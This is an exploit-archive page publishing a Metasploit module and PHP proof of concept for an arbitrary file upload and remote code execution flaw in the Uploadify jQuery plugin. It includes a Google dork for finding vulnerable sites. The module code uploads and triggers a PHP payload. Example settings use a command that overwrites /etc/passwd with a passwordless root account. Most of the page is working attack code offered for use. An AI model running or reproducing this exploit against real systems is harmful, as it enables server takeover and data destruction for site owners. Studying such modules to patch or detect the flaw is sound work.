exploit the possibilities

Uploadify jQuery Generic File Upload

Uploadify jQuery Generic File Upload
Posted Dec 24, 2012
Authored by KedAns-Dz

This Metasploit module an arbitrary file upload and code execution vulnerability in Uploadify.

tags | exploit, arbitrary, code execution, file upload
MD5 | 83632b78cb8cbdd0228bf01afb8690fc

Uploadify jQuery Generic File Upload

Change Mirror Download
# 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
# 0 _ __ __ __ 1
# 1 /' \ __ /'__`\ /\ \__ /'__`\ 0
# 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
# 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
# 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
# 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
# 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
# 1 \ \____/ >> Exploit database separated by exploit 0
# 0 \/___/ type (local, remote, DoS, etc.) 1
# 1 1
# 0 [+] Site : 1337day.com 0
# 1 [+] Support e-mail : submit[at]1337day.com 1
# 0 0
# 1 ######################################### 1
# 0 I'm KedAns-Dz member from Inj3ct0r Team 1
# 1 ######################################### 0
# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###
# Title : Uploadify jQuery Generic File Upload (Metasploit)
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com .net .org
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com
# Platform/CatID : php - remote - metasploit
# Type : php - proof of concept - remote
# Tested on : Linux Back|Track 5rc2 , Linux SUSE v.11
# Download : [http://www.uploadify.com]
###

#####
## * [ Description ] :=>
# This module exploits an arbitrary File Upload and Code Execution flaw Uploadify script
# (jQuery Multiple File Upload), the vulnerability allows for arbitrary file upload
# and remote code execution POST Data to Vulnerable (uploadify.php) in any CMS/SCRIPT use Uploadify.
## * [ Some references ] :=>
# http://1337day.com/related/18686
# http://1337day.com/related/19980
## * [ Google Dork ] :=>
# allinurl:/uploadify/uploadify.php | allinurl:/js/uploadify/
## * [ the Basic Proof of Concept ] :=>
# <?php
# $uploadfile="k3d.php";
# $ch = curl_init("http://[HOST]/[Script]/uploadify/uploadify.php?folder=/[path]/");
# curl_setopt($ch, CURLOPT_POST, true);
# curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
# curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# $postResult = curl_exec($ch);
# curl_close($ch);
# print "$postResult";
# ?>
#*** and ->
# k3d.php :
# <?php
# phpinfo();
# ?>
#####

##
# $Id: uploadify_up.rb 2012-12-15 22:05:01 KedAns-Dz $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Uploadify jQuery Generic File Upload',
'Description' => %q{
This module exploits an arbitrary File Upload and Code Execution flaw Uploadify script
(jQuery Multiple File Upload), the vulnerability allows for arbitrary file upload
and remote code execution POST Data to Vulnerable (uploadify.php) in any CMS/SCRIPT use Uploadify.
},
'Author' => [ 'KedAns-Dz <ked-h[at]1337day.com>' ], # MSF Module
'License' => MSF_LICENSE,
'Version' => '0.1', # Beta Version Just for Pene-Test/Help !
'References' => [
'URL', 'http://1337day.com/related/18686',
'URL', 'http://1337day.com/related/19980'
],
'Privileged' => false,
'Payload' =>
{
'Compat' => { 'ConnectionType' => 'find', },
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jun 16 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, "The URI path CMS/Plugin/Module ", "/"]),
OptString.new('PLUGIN', [true, "The Full URI path to Uploadify (jQuery)", "/"]),
OptString.new('UDP', [true, "Full Path After Upload", "/"])
####
# Example (1) in WP Plugin :
# set TARGETURI http://127.0.0.1/wp
# set PLUGIN wp-content/plugins/foxypress/uploadify/uploadify.php
# set UDP wp-content/affiliate_images/
# set RHOST 127.0.0.1
# set PAYLOAD php/exec
# set CMD echo "toor::0:0:::/bin/bash">/etc/passwd
# exploit
####
# Example (2) in JOS Module :
# set TARGETURI http://127.0.0.1/jos
# set PLUGIN modules/pm_advancedsearch4/js/uploadify/uploadify.php?folder=/modules/pm_advancedsearch4/
# set UDP modules/pm_advancedsearch4/
# set RHOST 127.0.0.1
# set PAYLOAD php/exec
# set CMD echo "toor::0:0:::/bin/bash">/etc/passwd
# exploit
####

], self.class)
end

def check
uri = datastore['TARGETURI']
plug = datastore['PLUGIN']

res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}'/'#{plug}"
})

if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def exploit

uri = datastore['TARGETURI']
plug = datastore['PLUGIN']
path = datastore['UDP']

peer = "#{rhost}:#{rport}"

post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>",
"application/octet-stream", nil,
"form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")

print_status("#{peer} - Sending PHP payload")

res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}'/'#{plug}",
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => post_data.to_s
})

if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end

print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}'/'#{path}'/'#{$1}.php"
})

if res and res.code != 200
print_error("#{peer} - Server returned #{res.code.to_s}")
end

end

end

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Indoushka , Caddy-Dz , Kalashinkov3 , Mennouchi.Islem
# Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Chevr0sky, Black-ID, Barbaros-DZ,
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
# Inj3ct0r Members 31337 : KedAns ^^ * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * HD Moore * YMCMB ..all
# Exploit-ID Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * Milw0rm * KeyStr0ke * JF * L3b-r1Z * HMD
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * B.N.T * All Security and Exploits Webs
#============================================================================================================

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close